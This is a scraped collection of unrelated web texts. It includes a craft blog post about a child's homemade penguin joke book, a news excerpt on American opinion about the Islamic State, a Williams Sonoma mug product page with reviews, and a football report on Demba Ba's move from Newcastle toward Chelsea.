Happy Rainbow Making!
pink and green mama,
Labels: Birthday Parties, EBook, Explore, Preschool, Printable, Rainbow, School Age
Friday, August 13, 2010
* Summer Boredom Buster: Make Your Own Joke Book!
A perfect boredom buster for summer break...
let your kids be authors and illustrators of their own Joke Book.
"E" (age 7) made this one for her Grammy Bev's birthday.
Grammy Bev has an extensive Penguin collection so... we made her a Penguin joke book.
A few jokes were found online; "E" wrote the rest of them.
(I love her jokes and her drawings so I had to share)
After writing down the jokes, we carefully typed them
on the computer and printed them on card stock.
Then, we trimmed the card stock into small pages (3"x5")
and "E" carefully illustrated each joke with pen and colored in with colored pencils.
We bound the whole thing with rainbow yarn.
Little Sister, "C" (age 3) made a page too!
It was a big hit (and a favorite birthday gift!)
Labels: Homemade Gifts, Preschool, School Age
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- * Mom Would Never Let Me Do This At Home Camp: Gia...
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- * Happy Anniversary Diorama
- * Barbie School In A Box - Using Role Play To Reli...
- * Our Somewhere Over The Rainbow Land Of OZ Playsc...
- * Mom Would Never Let Me Do This At Home Camp: Fee...
- Re-Cycled Collaborative Art: Back To School Collag...
- * Pink and Green Mama Crafts: Rainbow Fun Art Camp...
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Classroom Management
This video focuses on two key elements of classroom management — clear learning goals and clear expectations for behavior. This video highlights strategies for instruction and assessment that can be used throughout lessons to maintain control of the class ...


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Will Islamic State's Rise Turn U.S. Public Opinion?
Poll Finds That So Far, Many Americans Aren't Paying Attention to Global Hot Spots
Here in the nation's capital, the question of the moment is whether the rise of the Islamic State extremist group has changed President Barack Obama's reluctance to re-engage in Iraq militarily, or to really intervene for the first time in Syria—and that certainly is an important question.
But equally important and far less discussed is this: Has the specter of a new, different and frightening kind of Islamic extremism changed the American public's deep reluctance to engage anew in the Middle East?...


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Apilco Tradition Blue-Banded Porcelain Mugs
- Only at Williams Sonoma
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Earn 5% Back in rewards4 plus free standard shipping3every day when you shop with your Williams Sonoma credit card at Williams Sonoma.Apply Now Learn More
- Summary
Apilco builds on its tradition of exceptional dinnerware by embellishing these pristine white porcelain dishes with classic blue borders. As with the Apilco's signature white dinnerware, these restaurant-quality pieces can be dressed up or down with formal or casual linens, flatware and glassware. They're crafted at the family-owned factory in France, where ceramic artisans have been producing fine porcelain for culinary professionals since 1906.
- Made of high-fired porcelain.
- Microwavable; freezer, oven and dishwasher safe.
- Set of four.
- Made in France.
- Dimensions & More Info
- 3 1/2" high, 11.5-oz. cap.
- Made in France.
- Use & Care
- Microwavable; freezer and oven safe.
- Dishwasher safe.
- Shipping
Shipping Information
UPS can deliver most in-stock items within 3–5 business days. UPS is unable to deliver to P.O. boxes.
Shipping Rates
The shipping rate varies depending on your order total and shipping destination. View Shipping Options and Charges.
Next Day Delivery
For an additional charge of $26 per address, we can expedite delivery to most destinations. This service is not available for some oversize items, items shipped directly from the supplier (including perishable and custom-manufactured items), out-of-stock items and items to be shipped outside the contiguous 48 states.
Orders received by 9:00 p.m. ET Monday through Thursday will arrive the next business day; orders placed Friday through Sunday will arrive on the following Tuesday.
Return Policy
At Williams Sonoma, we take great pride in the quality and craftsmanship of our products. Attention to design, materials, safety and construction are our priority. Upon receipt, please inspect your purchase and notify us of any damage; we will arrange for a prompt replacement.
If within 30 days, you are dissatisfied for any reason, you may return your purchase for a refund of the merchandise value. An original receipt or gift receipt is required for all returns and exchanges. Returns with a gift receipt will be refunded in the form of a Merchandise Credit for the amount indicated on the gift receipt. Returns with original receipt will be refunded in the original form of payment, cash and check refunds over $100 will be issued as a company check (may take 14 business days from time of request).
For all cutlery returns (knife sets, single knives, cutting boards, knife sharpeners and knife storage), please contact us at 888.922.4108 to initiate the return.
We cannot accept returns on monogrammed, personalized, special-order items, custom upholstery, food, items shipped direct from the vendor or on items damaged through normal wear and tear. Final sale items ending in .97 or .99 cannot be returned.
Made to Order and Final Sale Furniture items are non-returnable and cannot be cancelled once the order is placed.
For returns of items purchased from your Williams Sonoma Gift Registry, we will gladly provide a refund or exchange for the merchandise within 90 days of your event or within 90 days of purchase, whichever date is later. View Full Returns Policy.
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Rated 5 out of 5 by JePense from Beautiful Porcelain Mugs ... and Made in France! The Apilco Tradition Blue-Banded Porcelain Mugs are smooth, shiny, and elegant--truly, a beautiful mug. I like that the Apilco mugs are made in France by a company that holds respect and longevity within its local community. Please note that the mug size ought to be considered medium, rather than large, by American standards. I think that the mug size is versatile, and works well for either coffee or tea. I like the color combination of a classic white together with a rich, deep ocean-blue band at the top. I would recommend the Apilco Tradition Blue-Banded Mugs to others for their beauty, quality, and elegance.Date published: 2015-07-13Rated 5 out of 5 by Jenita from Great Mugs for daily use I have used these mugs every day for the past 5 years--They go through the dishwasher daily and have been banged on the granite counter top numerous times. They have never chipped. I love their heft and size--Date published: 2012-11-25Rated 1 out of 5 by kodie from bad handles i love the looks but all but one handle stayed on.Date published: 2012-11-19


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Demba Ba Closer to Newcastle Exit
Demba Ba's Newcastle exit has moved a step closer after Chelsea finally triggered the release-clause in his contract.
The Blues have been given permission to talk to the 27-year-old Senegal international after meeting the £7million figure stipulated in the deal he signed with the Magpies during the summer of 2011. Ba has been withdrawn from the Newcastle squad for tonight's Barclays Premier League clash with Everton at St James' Park as a result.
A club statement read: ``Newcastle United can confirm that Chelsea Football Club has made an official offer for Demba Ba which has triggered the release clause in the player's contract. ``The club has given the player permission to speak to Chelsea FC and therefore he will not be included in the squad for tonight's game against Everton.''
The move comes as little surprise after the Londoners held talks with the player's representatives at the weekend. Those discussions were later described as ``unproductive'', but there was a feeling at the time that that would not be the end of the matter.
Newcastle have tried unsuccessfully to renegotiate Ba's contract in recent months to prevent a repeat of the speculation which surrounded him during the summer. However, with the former Hoffenheim and West Ham frontman's representatives actively trying to move him on - Magpies boss Alan Pardew hit out earlier this week at the network of people purporting to be looking after the player - Newcastle's hopes of securing him on a firmer footing always looked doomed.
Ba has been a major hit on Tyneside. He scored 16 goals last season and took his tally for the current campaign to 13 with a double in the 7-3 defeat at Arsenal on Saturday. Pardew was desperate to keep him, however the club were not prepared to shatter their wage structure to accommodate his demands.
The initial three-year contract was complicated in its structure with Newcastle looking to protect themselves after Ba had earlier failed a medical at Stoke because of a chronic knee condition, while the player kept his options open. He has now opted to consider the alternatives, although it remains to be seen if Chelsea are prepared to give him what he wants with any deal sure to cost them way in excess of £7million even before his salary is taken into account.
The Magpies will receive only a proportion of the transfer fee should the transfer go through, but have actively been pursuing a replacement in recent weeks with Marseille's Loic Remy understood to be at the top of their list. In the short term, Ba's compatriot Papiss Cisse appeared likely to return to the central role in which he prospered so spectacularly during the second half of last season, as Pardew's men attempt to improve upon a run of just two victories in their last 11 league games.